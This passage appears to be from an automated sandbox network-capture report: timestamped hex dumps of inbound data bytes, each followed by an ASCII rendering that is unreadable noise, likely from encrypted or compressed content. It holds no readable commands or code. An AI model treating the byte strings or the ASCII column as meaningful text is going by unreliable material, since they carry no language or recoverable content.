2023-05-10 00:21:17 UTC	4544	IN	Data Raw: 16 39 3c ad 94 cf 2e 6a f7 1b d8 d1 93 e5 27 9f 79 31 c9 80 cb 79 dc 57 35 4f 6c bf f8 71 2d f8 e0 9f cf 40 5c 96 89 07 a2 9e bf f9 ee 08 2d 5a b7 79 0b fa 66 f8 da d5 67 25 6e 35 89 29 e1 c3 17 d7 83 1b c8 22 e3 c7 db b9 ac 6e 7b e9 2d 6d b5 fa a0 b6 78 d9 2b ca e8 87 b4 1a 18 66 fa 72 85 80 72 31 44 cf 25 e8 c9 ec a5 cc 1b d1 07 d5 07 e1 82 de ed fa fe be a9 2d 11 d3 0e bc fb 79 6a 96 6a 71 74 6b 37 09 84 91 9e 5c a6 d6 b6 ad 6d e7 93 cb cb 57 50 05 ff 73 6a 02 0d 66 18 32 54 0f 1b b2 0e 1b f5 d8 75 86 31 e0 01 81 c2 30 0a 4f a2 b2 b3 2d e2 e0 f5 63 dd b1 91 36 0d 81 72 b9 4e 69 4c a2 f4 39 30 d7 f4 e9 d8 f9 f2 78 84 92 a4 d8 76 70 67 8c 12 77 00 5b 81 66 9c ad f0 4d c5 ae 42 ee 1e 01 0c 69 e5 b2 0c 77 87 36 4d b4 ad 98 cd 9f 5d 42 db 23 d0 73 ec be 02 Data Ascii: 9<.j'y1yW5Olq-@\-Zyfg%n5)"n{-mx+frr1D%-yjjqtk7\mWPsjf2Tu10O-c6rNiL90xvpgw[fMBiw6M]B#s
2023-05-10 00:21:17 UTC	4560	IN	Data Raw: 92 c4 2c 97 34 4e ee 12 83 03 13 b3 e6 ee 08 86 27 cd 2d fa 24 51 cc 05 3e d3 b3 e5 8b 03 3a b5 19 c5 b6 f5 39 5f 05 89 f4 24 a2 ff 36 07 ed 52 92 29 aa 5c 81 ba 27 98 9d 2a 29 12 b0 1c cf 0f 4e ab da 63 b9 5c b7 4d 0a 81 0e 62 3c 55 d0 f9 c8 6e b8 57 19 36 45 44 58 f3 20 f1 78 22 ef df 63 5e 60 ce ee 66 0d e6 2e 62 df 8f f6 a1 f3 b9 da 9d 18 f9 25 b4 63 bc 51 04 9a 33 4d 3e a5 f7 ef 2c fa 3e fc 2b f3 d6 a7 44 5d 5f fc 1c 7e a9 f2 8b 29 15 5f 69 0c 79 83 ed c4 6b 34 4c a1 5b 5b 24 1e fa 48 41 d3 5a d7 30 c3 73 cb f0 f6 2a 93 99 ea f5 94 65 91 c9 1a 0a 60 50 de 9a 72 bb ef 14 7d 02 59 d7 4c 60 7d 8f 38 90 84 a0 c0 6e a0 43 db e4 80 71 6a a6 06 c7 4c b2 de c6 0d 61 2e c7 37 42 3d 95 99 f7 d1 27 8b b2 a3 24 35 28 d4 09 ca 5e 6b 94 b0 5e 74 55 8d ac 34 dd 1f Data Ascii: ,4N'-$Q>:9_$6R)\')Nc\Mb<UnW6EDX x"c^`f.b%cQ3M>,>+D]_~)_iyk4L[[$HAZ0se`Pr}YL`}8nCqjLa.7B='$5(^k^tU4
2023-05-10 00:21:17 UTC	4576	IN	Data Raw: c5 be cf c7 35 fc fc fa 39 be c9 1d e6 7c f6 ae 1c 4e cb 76 f1 0e df 0e 5d b8 61 b2 5b 36 6f 6d b8 47 c3 9f dd 1f d4 3c ec 40 8a 81 1e 40 3f fa 26 f7 5f e4 ba c5 43 73 93 f2 06 64 ff 72 58 2c 0b 76 ec df 48 65 45 32 df 2f 1e f0 8b 3c 81 6c a4 d1 35 ea a9 7b 84 99 42 d8 3b d4 ef de 56 fb c1 64 dd d3 aa e2 92 90 a7 b3 81 3c 94 ba 19 dd 47 1e 23 0f 52 87 b0 07 9d 10 05 51 3d b0 e7 8b 1b 84 36 e3 1d e0 18 71 5a 0d 69 10 b2 e0 a6 51 9c 82 d3 fa e6 f8 20 49 5c f6 21 1c 1c 24 dd ac e6 30 c9 4b 2e 64 ab b3 27 c7 96 26 3e 37 5f bc 4f 9a 2e 8f fc f1 86 44 93 5d 95 ca 7e 20 eb 14 63 15 d3 95 3b 9a 2a 20 e8 3d 2f 31 05 0d d7 3d 02 30 f0 32 37 ca e2 f2 5e d3 91 53 d1 5f 1e e7 af 65 a1 98 5e dc eb 96 73 8a 6a db 2f 7d 8b 96 d9 7a 5f 5b a8 18 40 4f f6 f3 63 e6 b5 9b fc Data Ascii: 59\|Nv]a[6omG<@@?&_CsdrX,vHeE2/<l5{B;Vd<G#RQ=6qZiQ I\!$0K.d'&>7_O.D]~ c;* =/1=027^S_e^sj/}z_[@Oc
2023-05-10 00:21:17 UTC	4592	IN	Data Raw: 26 a3 78 64 c4 96 58 8d a0 86 54 4f 69 10 da c0 65 0a e8 58 6a f4 a9 48 a7 2d 39 82 19 31 11 ab 88 48 3f e0 07 fb 7d 0b 9e e8 dc 37 2d b1 88 fc da 32 4c 52 fc a4 f5 a7 7d 32 eb 11 7a 08 31 d6 c6 cd 35 e0 f0 31 c6 dc e3 e6 92 7b cf be 3e 15 52 1f 81 3d 10 01 08 94 e7 48 fc ee 6a 11 ac a7 b0 9e 87 b2 48 f7 2c a9 d7 f1 19 4a 4b 74 a2 b4 48 37 1f 63 e5 41 a5 52 18 53 cc 68 30 46 67 e3 97 32 52 51 95 13 86 60 bc 39 76 47 f8 b2 60 27 03 a3 23 6c 22 63 91 2b 81 37 63 7f a4 59 ac fc 9f db 51 90 e2 06 66 98 43 5e a1 f9 93 e0 7f 9d 70 32 57 7c b7 79 10 b6 b5 2e d7 bf 27 c1 b3 ed d8 45 73 f8 f8 16 c6 84 bf 99 3b 9b 42 e2 89 71 09 c7 83 ef e7 aa a1 33 5e 7b 58 7c 44 a5 6e f6 0e 64 3c 7a fa ff c2 30 d5 de 6c fc 4f 01 e8 b5 96 95 4d 04 60 92 58 96 f4 a9 9d df 6a 56 c6 Data Ascii: &xdXTOieXjH-91H?}7-2LR}2z151{>R=HjH,JKtH7cARSh0Fg2RQ`9vG`'#l"c+7cYQfC^p2W\|y.'Es;Bq3^{X\|Dnd<z0lOM`XjV
2023-05-10 00:21:17 UTC	4608	IN	Data Raw: e6 d7 39 8f 3b cd cc 1f 47 5f e6 04 3b 4d 06 c2 54 c7 7a 6d 7c 72 ec b2 89 67 97 91 e0 47 27 01 28 45 e6 c3 c8 37 45 a8 fc 65 5e ad ed 97 1a cb 47 94 b2 3d 63 62 15 1a b2 9c 19 bd d0 aa 03 ae d1 46 5a c1 53 11 9f c4 2e 5f 1a 02 f4 19 83 39 05 af de 3b 44 72 18 87 86 27 6c 4f de 96 92 c3 c2 3f a8 43 4c 39 90 da c9 e1 69 94 f2 06 58 bd e2 08 7f 58 fb 8e d1 ad dc ad 07 7e 5b 9b 4b e7 91 87 dd e8 8e e2 89 cf e3 31 19 5d d0 5d c0 3a 12 63 86 18 04 b6 da 92 42 72 bd fe 91 53 ae ac 08 8e e5 10 9b d7 04 2d 38 79 ec 28 d0 21 4a fc 94 0c 2e cd 5e bd 4a aa 79 63 48 b2 62 09 8c 6a 6a 67 e1 64 20 bc 02 02 43 a6 72 89 0c b9 75 db e1 c0 29 96 17 09 6b 77 45 7d d1 8d 02 73 a3 f2 8e 9f ec 5d e6 61 45 2d 27 ac a0 db 20 ec f2 b6 0d 4c 32 3f 97 5e d0 a8 12 cb 7a c8 35 7f 07 Data Ascii: 9;G_;MTzm\|rgG'(E7Ee^G=cbFZS._9;Dr'lO?CL9iXX~[K1]]:cBrS-8y(!J.^JycHbjjgd Cru)kwE}s]aE-' L2?^z5
2023-05-10 00:21:17 UTC	4624	IN	Data Raw: e4 68 6c 6a 32 15 49 fe 3d 01 68 e9 b5 bd 31 a2 08 f6 ae a1 b3 fa 7e ee ba fa d7 0c 64 bf 85 60 6b 34 60 b7 e0 67 b6 d6 7c 1c e0 52 f6 33 ec 5a 8b 4d d6 7a 44 9d 09 69 08 43 74 26 67 05 24 ba 9f 25 ac 09 9c 15 86 a8 23 27 33 0b 91 33 78 d0 af 41 73 f0 ce 9c 2f cc aa 24 0a 7e 86 03 3a 64 cf 92 de ab 69 4d 6d e8 ef f0 e5 36 1c b8 17 bc 96 71 7a ec da 2a 62 4b 39 db 5e 41 6e b1 19 63 9d d6 fc 7a 8b ac 46 1e 96 aa 93 c8 0b f9 34 7e 4f 2a e6 1f bc 5c dc 15 e1 4c 3a 2a 78 e8 38 82 82 3d 01 1a d0 0f 16 c4 36 6d 9b d6 46 67 ba 34 24 a8 99 36 87 89 a1 1d 08 cc 96 58 6e 0e 64 53 39 6b 1e 5e 5a 4c 56 f2 d1 d2 7d e2 27 0a e5 1a 76 b4 43 e1 a6 4a 95 7d c1 2d 51 32 a4 a9 47 02 18 60 db c3 4f cc e2 63 47 b2 0c 00 88 83 18 80 4e da 19 e0 5a 65 84 68 b9 a4 a7 82 9e 30 4c Data Ascii: hlj2I=h1~d`k4`g\|R3ZMzDiCt&g$%#'33xAs/$~:diMm6qzbK9^AnczF4~O\L:*x8=6mFg4$6XndS9k^ZLV}'vCJ}-Q2G`OcGNZeh0L
2023-05-10 00:21:17 UTC	4640	IN	Data Raw: f0 c9 ca 8d 99 6d 62 20 2e 03 12 f5 17 93 be c4 5d 8a c8 3b cf 5b de 55 1d 7a d8 c0 42 e2 f5 0b e3 31 60 57 43 c7 34 7e bf 32 e2 e2 47 45 cb 16 8b 8e cb 3a 08 5d 5c c6 4e 3e 47 ee 98 f5 3e 12 83 ab 45 76 70 29 0c 07 5d 04 7a 5b b0 df 46 5e 9e 14 72 3b dc 27 d7 ed 48 4f f0 2e 63 94 70 f8 46 88 51 2f e1 b9 f1 10 ed 6d bc 23 9b 52 09 f7 ea 05 9f 32 61 07 4c 7a 40 a4 f4 27 d3 15 65 40 de a0 82 4a d0 6c 0a cd 20 67 1a 42 00 51 a8 7d 74 de 21 2f 09 d0 3f a3 dc 75 25 a6 4f 4a 76 1f ec 62 af d4 0f 29 5a 54 68 f0 2d f4 b0 6e 73 fd a8 e9 88 60 41 eb cb 81 57 1d 61 46 f5 94 ab b1 8e 98 ed dd 87 07 c9 cb 34 0e a2 ee 03 72 56 6d 89 e9 33 fc 21 6d 5e 6c c9 4d be a2 3a dc 41 27 9a e5 4e 60 bb 65 c0 ef 62 46 fa 83 f1 7c 48 f7 e7 ac 5a ce 60 08 c5 b4 f1 63 b0 d4 a7 d3 1d Data Ascii: mb .];[UzB1`WC4~2GE:]\N>G>Evp)]z[F^r;'HO.cpFQ/m#R2aLz@'e@Jl gBQ}t!/?u%OJvb)ZTh-ns`AWaF4rVm3!m^lM:A'N`ebF\|HZ`c
2023-05-10 00:21:17 UTC	4656	IN	Data Raw: 0e ce 84 39 2d 1c 7e 83 79 d8 c7 2b 9b ed 85 4c c1 4f 0c 93 92 eb 94 c7 76 70 6d 46 6a 1a 02 d0 2e 4b 03 11 ae 78 18 39 56 1e 28 7d 2c 9e a3 b0 34 40 62 27 0a 15 33 dd 3f bf 84 48 80 00 58 5f 29 1a 44 8c 64 fe 84 02 16 fe e6 fd 41 ff 92 d0 25 ef 03 d1 65 f7 aa 78 63 9d a0 bb af 2d fe 15 d1 f1 fb 76 aa 54 d2 4f d1 b6 45 a8 a3 20 d2 6a df c3 75 36 14 0d 28 46 e0 d4 d6 64 b9 a8 c8 c9 e3 9a 70 f8 95 5a 89 16 ac 69 eb 5b c8 d2 c9 14 3f 19 c0 c2 09 ec 6e 0d f5 bf b1 0d 18 d4 93 57 f2 53 9b 60 24 f9 8f 6b 39 8d 9d e3 aa 9c 1e d4 6f f1 f8 3a 21 94 33 3f a6 b5 67 97 ef 80 0c 20 bc d7 7e cc 17 ca 2e a1 b2 5e 4f 90 fd 67 02 1e 97 4a 43 2a f7 fd a8 1c a7 3c 02 c5 57 87 e9 ee ad d8 12 76 97 12 34 5b 3e 4e a3 32 33 ff e1 7a a5 8f 98 8f b7 a8 09 9a 51 61 37 17 16 f8 c0 Data Ascii: 9-~y+LOvpmFj.Kx9V(},4@b'3?HX_)DdA%exc-vTOE ju6(FdpZi[?nWS`$k9o:!3?g ~.^OgJC*<Wv4[>N23zQa7
2023-05-10 00:21:17 UTC	4672	IN	Data Raw: cc ed af 1e ff d4 6f 4d 22 40 bd 69 ac 57 a2 27 83 fd 6c 57 e3 de 05 a7 7d ee 55 12 a3 12 ba 8b c8 f2 b9 b7 73 27 5d ae 68 27 31 ce 0e 98 23 20 29 16 24 19 b6 34 7a 48 6d c7 08 a3 bd 20 83 fe 66 51 c8 91 f5 71 23 b2 ef 72 94 eb 87 d4 ba 1b bc 92 4a 87 bf 8d 68 a0 28 05 05 15 d5 bf 5a 39 e1 fa a7 24 9a 05 f2 0b b6 3b bc 55 ef b4 bd 76 ad 68 af 8e ae 5d 00 86 d6 e8 a5 e1 58 a2 28 b6 e4 01 21 05 fc 07 38 9c 39 20 ec 3b cd e6 12 8b f4 bf 54 eb ce f5 46 76 de b4 dc f1 b1 76 41 c0 6e 24 92 be 5b e7 9e 66 a8 bb 8b 25 4c 26 fe 57 eb b2 67 da 21 64 7e f4 3c 8c be 58 bb 3b eb 54 6b 55 fd 5a 00 5d 6d 50 73 21 3d 68 41 04 86 9a 09 95 be 33 d4 01 5c 8e c5 97 26 e5 d4 4b 69 e0 cc 52 93 87 58 15 88 cd 83 c8 fa ae 34 9c d2 f8 db f6 5b 6f 7d 8a 87 19 ea 20 8b b4 01 10 de Data Ascii: oM"@iW'lW}Us']h'1# )$4zHm fQq#rJh(Z9$;Uvh]X(!89 ;TFvvAn$[f%L&Wg!d~<X;TkUZ]mPs!=hA3\&KiRX4[o}
2023-05-10 00:21:17 UTC	4688	IN	Data Raw: 98 3e 99 9e 2c 78 b0 10 3c 7b 7e bb a3 28 e6 cc be c9 90 2c b1 d2 6a ff bd da be cd 55 87 be b2 d5 79 4b 83 00 4b b9 c8 37 16 01 83 a7 ee 38 61 8e b7 fc 58 62 ca 06 9f 9c c4 1f 15 2e a6 dc b5 ac ab 4a 0e 4a fe e2 9f a9 a9 43 f2 d6 53 e6 98 50 cc 73 d7 61 26 8c 29 c0 df 7c fd 32 df 82 ff c9 b9 40 74 66 1c d5 c4 9e 6e 72 d2 87 d9 39 1e c0 1b 49 d5 08 07 5c de 99 b6 68 54 26 b3 18 dc fb fe 97 34 8c f3 85 8c 15 06 06 47 5f 0f 6f 48 c3 50 23 1a 89 17 fc 28 fc ea 28 f8 38 c3 4c e3 c2 03 cb 1e 87 fa 72 96 c6 a0 58 0f c2 ff 38 89 31 92 8d 2b 52 b4 82 d5 f2 0d ac 56 4b fb 6f 81 05 86 ae 6f 29 cb 6a 8a 39 f5 aa 78 4f fc 5b 26 7f 69 03 f6 6b 32 0c 1f 68 fe bc 44 c5 59 75 f3 a1 b2 6e 74 35 8c cd 7d 74 b5 dd 6a 3d 17 42 bc 51 42 7a fc c7 df 0f eb 0e 16 94 58 04 40 0b Data Ascii: >,x<{~(,jUyKK78aXb.JJCSPsa&)\|2@tfnr9I\hT&4G_oHP#((8LrX81+RVKoo)j9xO[&ik2hDYunt5}tj=BQBzX@
2023-05-10 00:21:17 UTC	4704	IN	Data Raw: 34 83 22 74 be 9f 0c 3d b2 8c bc ea b8 bd 39 29 8b 1c 49 be 14 df d6 65 bf ff fb ed 92 86 ae 31 7a 82 aa ee 11 7f d2 41 a8 0b 02 40 d1 e2 82 66 b4 b5 c3 ce 04 0a 12 a0 9b f1 2e 8b 64 a8 14 1b 6f 37 08 6d 8f b7 b9 29 c1 84 b5 07 0a f2 75 b7 33 33 31 a6 00 c6 96 02 21 8a ad 74 45 2d 51 8f 93 2c 76 6b 9d ee 9c c7 87 87 22 a8 40 9e 4e d9 69 1a 6f 11 53 3a fe 7c 84 f0 7b 4e fe 88 6b 98 78 e3 53 1e 1c d3 5c e1 a4 5e e4 40 b8 af 9f a8 eb 3e 78 26 0e 51 a3 79 ff 29 af 54 b4 e5 0e 94 0f 65 be b4 0a 70 f5 22 51 73 0d 7c 3e 6f d6 2a ff bf 1d 10 60 ac a6 49 f8 2b b7 a3 6d 03 3a 09 73 17 5d 3a cb ce e4 15 7a 0e ae 89 40 09 e5 01 75 6c ec 8b c9 d3 c9 c2 20 19 92 fb 7a 58 fd 7e ff ca 28 e9 4c 94 a0 db a5 77 94 48 9c 61 af 02 da a6 55 d2 48 d4 cc aa c9 b4 7b 1c 17 71 38 Data Ascii: 4"t=9)Ie1zA@f.do7m)u331!tE-Q,vk"@NioS:\|{NkxS\^@>x&Qy)Tep"Qs\|>o*`I+m:s]:z@ul zX~(LwHaUH{q8
2023-05-10 00:21:17 UTC	4720	IN	Data Raw: be 92 85 a2 4a f8 fb 90 f5 58 1f 80 4a 70 5e 01 25 c1 7f b0 05 67 97 4a 86 82 f7 7c bc bf 89 23 25 db d9 89 73 44 fd 23 c1 87 22 91 62 f8 79 df e1 42 b3 a5 50 3e bb c0 b7 ec 50 02 dc 9b 3b db 59 70 77 26 79 7b d6 85 df c1 36 0f 82 5e 99 98 02 6b f7 0a f7 6b c8 e0 ac 02 eb 96 85 26 f5 06 0f 02 20 88 87 2f 5e 86 29 31 cb 13 03 4f 37 13 86 64 d8 f8 cf 05 d9 f6 6f c4 74 db 43 84 49 0d 0a 2c 31 32 92 99 ea 26 72 73 e1 29 8d 84 89 06 27 66 fb 2b ad 1c d1 3d 85 91 28 d2 c8 51 2b bc 7e e8 7e 52 24 91 fc f4 ef b5 92 ce 86 54 c0 d4 59 11 17 e0 8f 90 90 b1 92 2b c2 05 55 04 6d 30 42 fe bb 87 53 36 f5 5e 55 32 cf bb fd 51 db c4 64 13 45 87 eb 13 09 ee d3 55 12 ab 4b 6f dd 1a 67 14 55 04 a2 e8 ab ae 4a a1 33 af c3 8b 24 57 1a 38 43 66 8a f6 ed 74 2d fb 8d 6f a1 93 01 Data Ascii: JXJp^%gJ\|#%sD#"byBP>P;Ypw&y{6^kk& /^)1O7dotCI,12&rs)'f+=(Q+~~R$TY+Um0BS6^U2QdEUKogUJ3$W8Cft-o
2023-05-10 00:21:17 UTC	4736	IN	Data Raw: 16 33 98 16 4f 25 be 38 8c df 36 8e 7e a9 31 21 b5 b9 b8 0f 94 86 3c 3f e2 76 2e ee 9d 08 70 7d 05 c2 e7 e8 e5 d0 ff 54 da 1a 7e 71 0c 82 9f 3d 26 af 15 fc f5 da 57 d1 55 6d 59 e4 f9 34 e6 e6 55 8e 33 d7 8a e1 bb 28 b5 2b 4c 05 95 f6 a5 19 e9 98 ae ae 7a 73 14 3f ef 78 64 bc 09 01 d7 c6 b6 8a 1e ce be 7a f0 fd c3 f9 b5 5a 80 34 79 57 0e 6a da 66 6f 54 44 5a 0c 8f 0d 39 76 e2 22 16 66 76 c2 5d ae f0 67 6c 0b cb 62 b3 bf 9f dc e6 36 6b 4a 5c ce f2 e3 67 ac 7c 6a b2 00 b5 23 91 1c 47 e7 d2 b5 ec 90 2a 4d 7b 40 07 f2 d3 68 55 5f e1 ad 4d 12 1d a5 c2 c8 45 2b 08 19 e8 2a 75 cc f9 57 4f da d9 e6 49 66 f2 e8 98 d7 47 ac 23 3b a4 37 dd 0d 15 26 22 a5 ca ec 1a b4 48 a6 64 8c 6e 3f 6f 64 93 b4 eb b9 16 f5 12 8f 9c 6f 6e 20 76 aa 6a c8 d1 29 e2 4b 4d 91 6f d8 b3 29 Data Ascii: 3O%86~1!<?v.p}T~q=&WUmY4U3(+Lzs?xdzZ4yWjfoTDZ9v"fv]glb6kJ\g\|j#GM{@hU_ME+uWOIfG#;7&"Hdn?odon vj)KMo)
2023-05-10 00:21:17 UTC	4752	IN	Data Raw: c4 df 56 0e 21 cd 82 5c 83 cb 14 02 fd ed e3 9c 71 87 1c c7 90 2d 22 52 ea 9c 25 fc 51 85 56 7e ed b0 a3 80 be 96 91 a4 10 d8 2e 12 ab 1b 4f 2c e0 d3 d7 e5 78 01 4b b0 82 3e 43 43 3e cf cf 80 e9 c7 74 6e df 3e 30 66 b9 b7 86 6c 1b ea e4 a6 1a 0a f2 3f 07 e1 ea 2a ad bb 3b 14 35 51 00 34 aa f6 ee 02 0f 92 ad d4 7f d1 e3 f8 cc ff 9d a7 07 08 6d 78 c3 f9 9b 30 cb 03 cd 87 94 05 4a c4 2a 0b c5 03 a7 8c 9a e2 18 d1 b8 17 8e e1 c7 a6 18 32 ac ca f8 cb f0 0e 0b ef a7 51 46 32 06 50 56 96 cf 94 b2 e0 be 6f e3 ae c8 f7 c0 0f 5a 22 4c d8 bb 7e 45 96 2f cc 16 f3 6f 46 a9 df 34 34 fa f6 de 4d 48 c9 1a b4 0c 18 06 1f 80 9d c8 94 a3 d1 6e ff ee e8 43 e8 77 da ae 7c 54 37 a9 9e 60 78 f1 6a 7e ab c9 69 2b b7 3d 87 b1 50 b6 e9 88 ce 4f 37 4a a1 53 fc 58 1c a2 48 4f a0 49 Data Ascii: V!\q-"R%QV~.O,xK>CC>tn>0fl?;5Q4mx0J2QF2PVoZ"L~E/oF44MHnCw\|T7`xj~i+=PO7JSXHOI
2023-05-10 00:21:17 UTC	4768	IN	Data Raw: cf e7 9e 9c 71 39 4e 80 48 90 0a 1f d1 ba b4 ed 74 a2 fe f6 73 e2 20 6a d2 58 1c 95 96 ee fd 23 86 5a 29 59 7f 55 9e 2a 9e 05 88 b4 98 7c 1f b5 05 a4 93 a1 13 f4 71 0e 2b 09 1d 56 41 0b 5b 52 3c 0e 41 53 4a 93 39 80 0a 6a 57 5e 99 aa 9e c1 c8 68 97 5f 21 38 7f 25 c6 2d 3e 1a fd 79 17 f2 c9 ae 6f 6a 9b d5 98 13 ab d1 a5 f9 31 13 bc 16 15 8b 45 69 7d 8b 12 c8 0e bf fb 38 30 cf 76 31 7b 39 46 10 27 02 0e e4 97 7f ef 7d 19 6b 9d 60 c0 cf 06 f6 28 97 e9 dc bf 99 16 b2 cc cb 0c 25 98 45 9c d3 4b 99 29 0b 96 ca 3f da 09 78 d4 b5 99 86 50 4b 3e 52 80 55 64 df 95 02 5b aa f0 5f 54 e2 6a 8e 74 4d 1a 28 9e 3e ae 05 7d 36 ff 5a 5d e8 cb e6 25 1a 6a 9a f0 22 21 33 e2 65 74 d3 c8 c6 a8 be c2 8e dc 40 9b 34 a7 ed 15 e4 98 bd 02 b7 7e 18 4c 77 e6 71 6b b3 f2 72 d4 d0 a4 Data Ascii: q9NHts jX#Z)YU*\|q+VA[R<ASJ9jW^h_!8%->yoj1Ei}80v1{9F'}k`(%EK)?xPK>RUd[_TjtM(>}6Z]%j"!3et@4~Lwqkr
2023-05-10 00:21:17 UTC	4784	IN	Data Raw: e9 08 02 72 0e 67 a2 3e 65 24 6c 4a ef 10 77 60 5f 23 f2 3f 9c 97 dc 53 63 0d f2 4a 96 86 74 a3 d1 16 9b 09 a7 b5 f4 15 98 54 4f 16 b2 72 c3 bd 6a 6e c6 aa 59 c8 a5 a1 4c 20 18 ad 9b d2 79 85 df 8e ce b9 18 61 30 71 fe ae 29 67 ab 5a 5e 35 6d 12 c5 dc 1d 71 53 55 0c 8a 50 21 42 7a 0b 84 e2 64 e2 0b 1a c1 e8 8b 8b 45 22 06 79 c5 6a aa 1f 08 15 86 d6 75 92 9a 99 9b 6c 67 84 86 6b 52 bd bf 04 77 2f 77 77 7e 43 9e 5f 22 84 5d 02 60 a1 ab 1f f4 44 a7 4c 6a da fa ab 93 67 ea c0 0a 78 bd 65 f0 17 3b 84 a3 d6 ab c4 3d 60 a0 e9 22 c2 57 57 58 58 7d 64 24 dd 9e d6 33 7c ce 4c 4a 0c bf 9a 95 3b de 75 e2 47 2b 51 33 d4 01 c1 ff f1 03 64 91 55 bf 35 af a7 97 10 4f 9e 9e a7 1c d0 3b 5a ad 06 98 11 8a b9 ed 43 fb 8e b9 4b 5a 9e 5e 28 87 4b 48 bd 9d da 0c cd 55 e3 c2 6c Data Ascii: rg>e$lJw`_#?ScJtTOrjnYL ya0q)gZ^5mqSUP!BzdE"yjulgkRw/ww~C_"]`DLjgxe;=`"WWXX}d$3\|LJ;uG+Q3dU5O;ZCKZ^(KHUl
2023-05-10 00:21:17 UTC	4800	IN	Data Raw: 3d 51 82 49 00 54 52 42 4f 28 de 40 be c0 f0 bb 24 5c b7 d4 e2 fc 76 88 87 d7 8a 30 84 48 9b ac d5 8a 4a 6d ef df 9a fe cb e5 71 40 e6 5a 6c b2 2b 1b 3d 6e 88 ef d9 70 fa c0 67 22 b7 6d c2 74 59 d9 ee d4 a7 68 e4 53 4b 9b 6a f0 c0 d2 e9 0f 5e e0 2a 31 33 b6 0a 7b 1a aa 17 62 0f de fd 4b fe 1b fe 6c 20 63 c0 0b 78 89 4f 4e 44 fc 28 ca fc a8 0c 74 ac 33 63 f2 23 aa b0 3c 98 fd 1b 87 01 71 59 3d 1b ce 1a e2 3f 87 f6 85 2d dd d9 79 d8 e8 46 e6 50 9b 9a 0e b4 36 7f ab 48 0c f0 07 c4 cf 09 18 72 33 f7 55 17 e5 cd d3 01 ab 8f 78 15 e1 3a 37 5e 85 00 50 9f f8 77 33 8d b4 47 48 d4 e7 71 86 e0 85 dd d1 ad 25 b1 ba 4d 3d 6e 98 99 ec 21 49 2e 7e 61 72 d1 1b d5 31 d9 12 a2 7a 10 62 a4 d3 67 0a 6a 10 d0 53 77 d3 d9 8b a2 de aa d3 5c c2 7f 3d e1 13 1b 0b 03 a3 42 b3 3f Data Ascii: =QITRBO(@$\v0HJmq@Zl+=npg"mtYhSKj^*13{bKl cxOND(t3c#<qY=?-yFP6Hr3Ux:7^Pw3GHq%M=n!I.~ar1zbgjSw\=B?
2023-05-10 00:21:17 UTC	4816	IN	Data Raw: e6 96 68 ad c9 84 0d 2c eb c1 b3 ba 45 cd 40 fb e8 2d 48 6f f9 22 51 62 84 1d e8 67 47 35 18 4e 8b 8e 3c c4 64 bc 6c 5d 9f 8c c6 c8 e8 6f ef 84 f5 88 62 1c 37 15 8d ba 57 91 ab 72 53 bf d7 8c e7 66 b2 94 05 cb a8 04 0a 0c f6 8c d8 33 e2 d1 93 cf 76 3d 60 d1 fd 60 b0 02 d0 17 55 a9 5c 00 17 a5 d2 8a ea 92 88 73 8d dc eb 3d ea de 3c b9 cf 14 e5 b4 e5 85 3a e8 ef 0e 01 03 a4 4c 1e 2d 50 a0 2e 2d 20 9c 66 a9 16 d0 a5 a0 b4 94 d7 05 00 6e d8 04 ad 93 4f 77 06 cd f5 79 ef 3c 85 64 6e 51 5d c7 76 1c ef 32 e5 63 13 87 c1 ff ee 4a 80 5d 1f d2 03 a3 69 9c a9 6f 97 69 42 fb 75 4e 1c aa 6e 24 10 27 83 de 61 b1 fe f8 ea 47 09 95 ac 3a 73 2d 42 cd 8d 60 38 0a 16 a6 1c d5 47 85 e0 da 02 d1 92 23 1b f3 9d 6f 87 c1 fd 27 8a db 53 1c ad e0 d4 30 60 e7 01 d6 03 13 65 61 6e Data Ascii: h,E@-Ho"QbgG5N<dl]ob7WrSf3v=``U\s=<:L-P.- fnOwy<dnQ]v2cJ]ioiBuNn$'aG:s-B`8G#o'S0`ean
2023-05-10 00:21:17 UTC	4832	IN	Data Raw: 92 51 b1 3a f2 cc ff 52 7c 7c 22 ba 5e 4e d1 97 5d 95 bf a4 0f ec da f3 e6 7c 02 be 85 d4 6d ff ca 3d e7 cd 81 74 7c c6 bb e8 b7 75 50 c4 f4 e4 78 06 66 93 cb 01 9d ac e0 bf 2c bb d8 a7 91 53 64 b8 ce e7 e3 f8 10 af 3b 01 29 b6 59 17 e6 26 68 3e a4 5b 20 c4 9f 10 d6 66 3b aa 5c a7 cb 32 4a a5 8a 28 74 36 6a 50 9b 9a d8 1b a5 b1 95 c0 77 09 8b e1 a7 51 f7 82 df 7c d9 06 53 7c dd d4 03 f0 6d 73 57 12 be 43 23 78 ff 9d ff d5 da 08 bd 38 c0 be 0e c7 f4 e1 2d 13 c7 30 69 f5 70 bd a5 0f 94 7d 2f 71 b5 36 a1 b2 9e 72 a1 33 0c 65 7a 6d 09 b4 a1 1c 50 52 94 95 21 87 57 45 af fa 04 2a 85 04 53 7f 83 3b 70 1c 84 05 93 0e 9b 6f 03 db 10 06 8b 71 19 7f 69 ce ec 37 e0 26 37 b5 b2 06 3c dc 1a 25 80 aa a4 ab c8 f1 b8 62 fd fb b0 66 1d 8d 64 2a 2a 20 14 88 e1 09 4f ee 82 Data Ascii: Q:R\|\|"^N]\|m=t\|uPxf,Sd;)Y&h>[ f;\2J(t6jPwQ\|S\|msWC#x8-0ip}/q6r3ezmPR!WES;poqi7&7<%bfd* O
2023-05-10 00:21:17 UTC	4848	IN	Data Raw: e6 54 24 f9 bb ac 0a e6 92 9b 30 86 9b 85 a3 b6 d8 b9 cf de a2 2c 74 90 98 07 21 bc 29 47 8c 44 d2 29 64 9a 5f a6 80 6b 03 31 29 6c 1a 0d 33 ed b4 90 be 41 12 e7 04 15 4d eb 47 e1 2e 59 4a d5 ea 1f 6c 76 9f 8f 10 6b ee 03 34 0f 3a a5 d6 9e 18 4e fe 2a 83 8d 30 0d 86 9f 7c 3c b9 b5 8c 67 fa 55 d7 1a 37 f5 6f 2f 8a f0 5e 3b 6e f1 87 81 63 ad b6 b6 fc 76 bb 35 63 d2 86 54 28 af 2f 7e 9a 26 5d 2a c1 e7 b5 46 f5 a2 80 43 8e 1a 72 db 39 ca 28 2b 45 d0 d8 f6 98 c2 d0 76 37 f6 7e 76 ba 25 f1 4b a9 48 24 31 cc 1e 79 49 dc ac 17 7f ce 2b 23 9e 62 90 1a c6 f6 7e 77 ed 40 e6 6f 06 69 ac f5 25 11 85 e7 75 48 0a c8 09 ac 20 cb e0 5b 70 4d 1c 58 b4 15 ca b3 e8 3c f6 74 60 e6 0d 7f be 1f 81 2b 03 3e 45 63 63 f1 bc db 4c bd 52 a1 3a ef ec 87 0f 9f ab d9 2e 84 71 c8 04 32 Data Ascii: 